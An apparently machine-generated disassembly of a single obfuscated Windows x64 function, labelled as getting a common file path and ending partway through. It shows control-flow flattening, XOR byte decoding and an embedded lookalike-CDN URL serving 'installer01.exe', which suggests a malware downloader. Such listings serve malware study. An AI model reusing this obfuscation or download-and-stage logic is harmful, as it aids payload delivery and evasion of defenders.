Function at 0x140001000
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x128
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x90], xmm6
movabs r12, 0xcca58856c563b1b3
movabs r13, 0xc95f05c714f4c48c
movabs r15, 0x9886ba5f65b9dbe5
movabs r8, 0x36a0fa38eb0b3b73
mov eax, dword [0x140061078]
mov ecx, dword [0x14006107c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 1]
cmp ecx, 0xa
setl byte [rbp - 2]
movabs r9, 0x335a77a93a9c4e4c
mov eax, 0xb4718e31
xorps xmm6, xmm6
mov r14d, 0x4ec8e6fe
jmp 0x1400010c0
sub rsp, 0x20
mov edx, 0x104
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
add rsp, 0x20
mov eax, 0x1dcfbe19
movabs r8, 0x36a0fa38eb0b3b73
movabs r9, 0x335a77a93a9c4e4c
mov r10d, 0x14521f21
mov r11d, 0x78700930
jmp 0x1400010fd
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3084dc10
mov ecx, 0x1ecded1b
nop word [rax + rax]
cmove eax, ecx
cmp dword [0x14006107c], 0xa
cmovl eax, ecx
cmp eax, 0x1ecded1a
jle 0x140001160
cmp eax, 0x645cb21f
jle 0x140001210
cmp eax, 0x6ee075b1
jg 0x14000fce1
cmp eax, 0x6a3c7eaa
jg 0x14001e865
cmp eax, 0x645cb220
je 0x14001e944
cmp eax, 0x66908dde
jne 0x1400010fd
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1c26345c
mov ecx, 0xa8bbf31
jmp 0x1400010f0
cmp eax, 0xddd7ceb6
jle 0x140001250
cmp eax, 0x13d01c2d
jg 0x14001e7a8
cmp eax, 0xf6ee400b
jg 0x14001e880
cmp eax, 0xddd7ceb7
je 0x14001e94e
cmp eax, 0xe5bf89e5
jne 0x1400010fd
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x68]
sub rsp, 0x50
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [0x140061048]
mov r11d, 0x78700930
mov r10d, 0x14521f21
movabs r9, 0x335a77a93a9c4e4c
movabs r8, 0x36a0fa38eb0b3b73
add rsp, 0x50
mov eax, 0x957ea168
jmp 0x1400010fd
cmp eax, 0x3a00c2c4
jg 0x14001e7e7
cmp eax, 0x2fe48575
jg 0x14001e8a0
cmp eax, 0x1ecded1b
je 0x14001e978
cmp eax, 0x1f73dca4
jne 0x1400010fd
mov rax, qword [rbp - 0x38]
mov eax, 0x5f7d325c
jmp 0x1400010fd
cmp eax, 0xc08aad46
jle 0x14001e826
cmp eax, 0xc5ef8774
jg 0x14001e8c0
cmp eax, 0xc08aad47
je 0x14001e996
cmp eax, 0xc13774ef
jne 0x1400010fd
mov rax, qword [0x140061050]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x78], rax
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x60], rax
mov eax, dword [0x140061080]
mov ecx, dword [0x140061084]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x47]
cmp ecx, 0xa
setl byte [rbp + 0x46]
mov eax, 0x4ab95d49
jmp 0x140001303
mov byte [rbp + 0x70], cl
mov al, byte [rbp + 0x70]
mov byte [r8 + 3], al
add r8, 4
mov qword [rbp], r8
mov rax, qword [rbp + 0x58]
mov al, byte [rax + 0x2a]
mov byte [rbp + 0x57], al
mov eax, 0x6daada03
movabs r8, 0x36a0fa38eb0b3b73
movabs r9, 0x335a77a93a9c4e4c
mov r10d, 0x14521f21
mov r11d, 0x78700930
cmp eax, 0x35ed2f78
jg 0x140001550
cmp eax, 0xe28d39c0
jle 0x1400015a0
cmp eax, 0xfb1171ce
jg 0x14000160b
cmp eax, 0xe28d39c1
je 0x140001831
cmp eax, 0xe9c86ef4
jne 0x140001303
mov rax, qword [rbp + 0x60]
mov qword [rbp + 8], rax
lea rax, str.https:__cdnjsdelivr.xyz:8443_cSxjIpCb_installer01.exe
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140001410
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140001450
cmp edx, 0x54254c19
jg 0x140001480
cmp edx, 0x413ac401
je 0x1400014dd
cmp edx, 0x4de8461d
je 0x1400014fc
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140001410
mov ecx, esi
jmp 0x140001410
cmp edx, 0xd13082ef
jle 0x1400014b0
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140001410
cmp edx, 0xe0d67025
je 0x140001511
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140001410
mov ecx, r10d
jmp 0x140001410
cmp edx, 0x54254c1a
je 0x14000151b
cmp edx, 0x62439574
je 0x1400013e0
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140001410
mov ecx, 0x4ec8e6fe
jmp 0x140001410
cmp edx, 0x8ceadef2
je 0x140001542
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140001410
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140001410
jmp 0x140001871
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140001410
mov qword [rbp + 0x78], r8
mov qword [rbp + 0x80], r12
mov ecx, 0x216c1d41
jmp 0x140001410
mov ecx, 0x4de8461d
jmp 0x140001410
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140001410
mov ecx, 0x9ce81538
jmp 0x140001410
cmp eax, 0x6462e802
jg 0x1400015e0
cmp eax, 0x4ab95d48
jle 0x14000162b
cmp eax, 0x4ab95d49
je 0x140001a91
cmp eax, 0x55b56b90
jne 0x140001303
cmp byte [rbp + 0x44], 0
mov eax, 0xa105a0bf
mov ecx, 0x35ed2f79
cmovne eax, ecx
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x38], rcx
jmp 0x140001303
cmp eax, 0x913fb855
je 0x140001aaf
cmp eax, 0xa105a0bf
je 0x140001cc2
cmp eax, 0xc8f64ff9
jne 0x140001303
mov rax, qword [rbp + 0x28]
mov byte [rax], 0
mov rax, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov eax, 0xe28d39c1
jmp 0x140001303
cmp eax, 0x6462e803
je 0x140001ce5
cmp eax, 0x6daada03
je 0x140001d10
cmp eax, 0x7d2a7631
jne 0x140001303
mov eax, 0xe9c86ef4
jmp 0x140001303
cmp eax, 0xfb1171cf
je 0x140001f11
cmp eax, 0xff29f291
jne 0x140001303
mov eax, 0x913fb855
jmp 0x140001303
cmp eax, 0x3960e7f1
jne 0x14000f466
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x1400016f0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140001730
cmp ecx, 0x54254c19
jg 0x140001760
cmp ecx, 0x413ac401
je 0x1400017bd
cmp ecx, 0x4de8461d
je 0x1400017dc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400016f0
mov eax, edi
jmp 0x1400016f0
cmp ecx, 0xd13082ef
jle 0x140001790
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400016f0
cmp ecx, 0xe0d67025
je 0x1400017f5
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400016f0
mov eax, r9d
jmp 0x1400016f0
cmp ecx, 0x54254c1a
je 0x1400017ff
cmp ecx, 0x62439574
je 0x1400016c2
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400016f0
mov eax, 0x4ec8e6fe
jmp 0x1400016f0
cmp ecx, 0x8ceadef2
je 0x140001827
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x1400016f0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400016f0
jmp 0x140002111
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400016f0
lea rax, [r15 + 0x68]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], r12
mov eax, 0x216c1d41
jmp 0x1400016f0
mov eax, 0x4de8461d
jmp 0x1400016f0
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x1400016f0
mov eax, 0x9ce81538
jmp 0x1400016f0
mov rax, qword [rbp + 0x28]
mov byte [rax], 0
mov rax, qword [rbp + 0x28]
add rax, 1
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x30]
cmp rcx, rax
sete byte [rbp + 0x44]
mov eax, dword [0x140061080]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc8f64ff9
mov ecx, 0x55b56b90
jmp 0x140001cfe
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 8]
mov byte [rcx], al
mov rax, qword [rbp + 8]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 1]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140001950
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140001990
cmp edx, 0x54254c19
jg 0x1400019c0
cmp edx, 0x413ac401
je 0x140001a1d
cmp edx, 0x4de8461d
je 0x140001a3c
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140001950
mov ecx, esi
jmp 0x140001950
cmp edx, 0xd13082ef
jle 0x1400019f0
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140001950
cmp edx, 0xe0d67025
je 0x140001a56
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140001950
mov ecx, r10d
jmp 0x140001950
cmp edx, 0x54254c1a
je 0x140001a60
cmp edx, 0x62439574
je 0x14000191d
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140001950
mov ecx, 0x4ec8e6fe
jmp 0x140001950
cmp edx, 0x8ceadef2
je 0x140001a87
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140001950
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140001950
jmp 0x140002316
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140001950
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 1]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140001950
mov ecx, 0x4de8461d
jmp 0x140001950
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140001950
mov ecx, 0x9ce81538
jmp 0x140001950
mov cl, byte [rbp + 0x47]
cmp byte [rbp + 0x46], 0
mov eax, 0x6462e803
mov edx, 0xe9c86ef4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140001303
mov rax, qword [rbp + 0x10]
mov cl, byte [rbp + 0x45]
mov byte [rax], cl
mov r8, qword [rbp + 0x10]
mov rax, qword [rbp + 0x58]
movzx r9d, byte [rax + 0x27]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
sete byte [rbp + 0x8f]
mov edi, 0x9ce81538
mov ebx, 0x8ceadef2
cmovne edi, ebx
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov ebx, 0x9ce81538
cmovl edi, ebx
mov ebx, ecx
or bl, al
add r9, r15
test bl, bl
mov r10d, 0x62439574
mov ebx, 0xc5c4e523
cmovne r10d, ebx
mov r11d, 0x62439574
mov esi, 0x54254c1a
cmovne r11d, esi
mov esi, 0x8ceadef2
mov ebx, 0xe0d67025
cmovne esi, ebx
xor dl, cl
and cl, al
xor cl, dl
mov eax, 0xd13082f0
mov ecx, 0x76479a56
cmovne eax, ecx
mov edx, 0x413ac401
jmp 0x140001b80
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov ebx, edx
cmp edx, 0x413ac400
jle 0x140001bc0
cmp ebx, 0x54254c19
jg 0x140001bf0
cmp ebx, 0x413ac401
je 0x140001c4d
cmp ebx, 0x4de8461d
je 0x140001c6c
mov edx, ebx
cmp ebx, 0x4ec8e6fe
jne 0x140001b80
mov edx, eax
jmp 0x140001b80
cmp ebx, 0xd13082ef
jle 0x140001c20
mov edx, edi
cmp ebx, 0xd13082f0
je 0x140001b80
cmp ebx, 0xe0d67025
je 0x140001c86
mov edx, ebx
cmp ebx, 0x216c1d41
jne 0x140001b80
mov edx, r11d
jmp 0x140001b80
cmp ebx, 0x54254c1a
je 0x140001c90
cmp ebx, 0x62439574
je 0x140001b51
mov edx, ebx
cmp ebx, 0x76479a56
jne 0x140001b80
mov edx, 0x4ec8e6fe
jmp 0x140001b80
cmp ebx, 0x8ceadef2
je 0x140001cb8
mov edx, esi
cmp ebx, 0x9ce81538
je 0x140001b80
mov edx, ebx
cmp ebx, 0xc5c4e523
jne 0x140001b80
jmp 0x140002531
movzx ebx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test bl, bl
cmovne edx, r14d
jmp 0x140001b80
mov qword [rbp + 0x78], r9
lea rdx, [r12 + 0x27]
mov qword [rbp + 0x80], rdx
mov edx, 0x216c1d41
jmp 0x140001b80
mov edx, 0x4de8461d
jmp 0x140001b80
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov ebx, edx
and ebx, 0x6c
or ebx, 0x13
and edx, 0x93
xor ecx, edx
xor ecx, ebx
xor cl, 0x13
mov edx, r10d
jmp 0x140001b80
mov edx, 0x9ce81538
jmp 0x140001b80
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x28], rax
mov eax, dword [0x140061080]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc8f64ff9
mov ecx, 0xe28d39c1
jmp 0x140001cfe
mov eax, dword [0x140061080]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfb1171cf
mov ecx, 0x3960e7f1
cmove eax, ecx
cmp dword [0x140061084], 0xa
cmovl eax, ecx
jmp 0x140001303
movzx r8d, byte [rbp + 0x57]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140001dd0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word [rax + rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140001e10
cmp edx, 0x54254c19
jg 0x140001e40
cmp edx, 0x413ac401
je 0x140001e9d
cmp edx, 0x4de8461d
je 0x140001ebc
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140001dd0
mov ecx, esi
jmp 0x140001dd0
cmp edx, 0xd13082ef
jle 0x140001e70
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140001dd0
cmp edx, 0xe0d67025
je 0x140001ed6
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140001dd0
mov ecx, r10d
jmp 0x140001dd0
cmp edx, 0x54254c1a
je 0x140001ee0
cmp edx, 0x62439574
je 0x140001da4
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140001dd0
mov ecx, 0x4ec8e6fe
jmp 0x140001dd0
cmp edx, 0x8ceadef2
je 0x140001f07
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140001dd0
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140001dd0
jmp 0x140002742
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140001dd0
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 0x2a]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140001dd0
mov ecx, 0x4de8461d
jmp 0x140001dd0
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140001dd0
mov ecx, 0x9ce81538
jmp 0x140001dd0
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140001fd0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140002010
cmp ecx, 0x54254c19
jg 0x140002040
cmp ecx, 0x413ac401
je 0x14000209d
cmp ecx, 0x4de8461d
je 0x1400020bc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140001fd0
mov eax, edi
jmp 0x140001fd0
cmp ecx, 0xd13082ef
jle 0x140002070
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140001fd0
cmp ecx, 0xe0d67025
je 0x1400020d5
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140001fd0
mov eax, r9d
jmp 0x140001fd0
cmp ecx, 0x54254c1a
je 0x1400020df
cmp ecx, 0x62439574
je 0x140001f9d
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140001fd0
mov eax, 0x4ec8e6fe
jmp 0x140001fd0
cmp ecx, 0x8ceadef2
je 0x140002107
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140001fd0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140001fd0
jmp 0x140002961
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140001fd0
lea rax, [r15 + 0x68]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], r12
mov eax, 0x216c1d41
jmp 0x140001fd0
mov eax, 0x4de8461d
jmp 0x140001fd0
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140001fd0
mov eax, 0x9ce81538
jmp 0x140001fd0
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x1400021d0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140002210
cmp ecx, 0x54254c19
jg 0x140002240
cmp ecx, 0x413ac401
je 0x14000229d
cmp ecx, 0x4de8461d
je 0x1400022bc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400021d0
mov eax, edi
jmp 0x1400021d0
cmp ecx, 0xd13082ef
jle 0x140002270
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400021d0
cmp ecx, 0xe0d67025
je 0x1400022da
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400021d0
mov eax, r9d
jmp 0x1400021d0
cmp ecx, 0x54254c1a
je 0x1400022e4
cmp ecx, 0x62439574
je 0x1400021aa
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400021d0
mov eax, 0x4ec8e6fe
jmp 0x1400021d0
cmp ecx, 0x8ceadef2
je 0x14000230c
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x1400021d0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400021d0
jmp 0x140002b66
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400021d0
lea rax, [r15 + 0x74]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 1]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400021d0
mov eax, 0x4de8461d
jmp 0x1400021d0
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x1400021d0
mov eax, 0x9ce81538
jmp 0x1400021d0
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 1], al
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 2]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x1400023f0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax + rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140002430
cmp edx, 0x54254c19
jg 0x140002460
cmp edx, 0x413ac401
je 0x1400024bd
cmp edx, 0x4de8461d
je 0x1400024dc
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x1400023f0
mov ecx, esi
jmp 0x1400023f0
cmp edx, 0xd13082ef
jle 0x140002490
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x1400023f0
cmp edx, 0xe0d67025
je 0x1400024f6
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x1400023f0
mov ecx, r10d
jmp 0x1400023f0
cmp edx, 0x54254c1a
je 0x140002500
cmp edx, 0x62439574
je 0x1400023bb
mov ecx, edx
cmp edx, 0x76479a56
jne 0x1400023f0
mov ecx, 0x4ec8e6fe
jmp 0x1400023f0
cmp edx, 0x8ceadef2
je 0x140002527
mov ecx, edi
cmp edx, 0x9ce81538
je 0x1400023f0
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x1400023f0
jmp 0x140002d76
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x1400023f0
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 2]
mov qword [rbp + 0x80], rcx
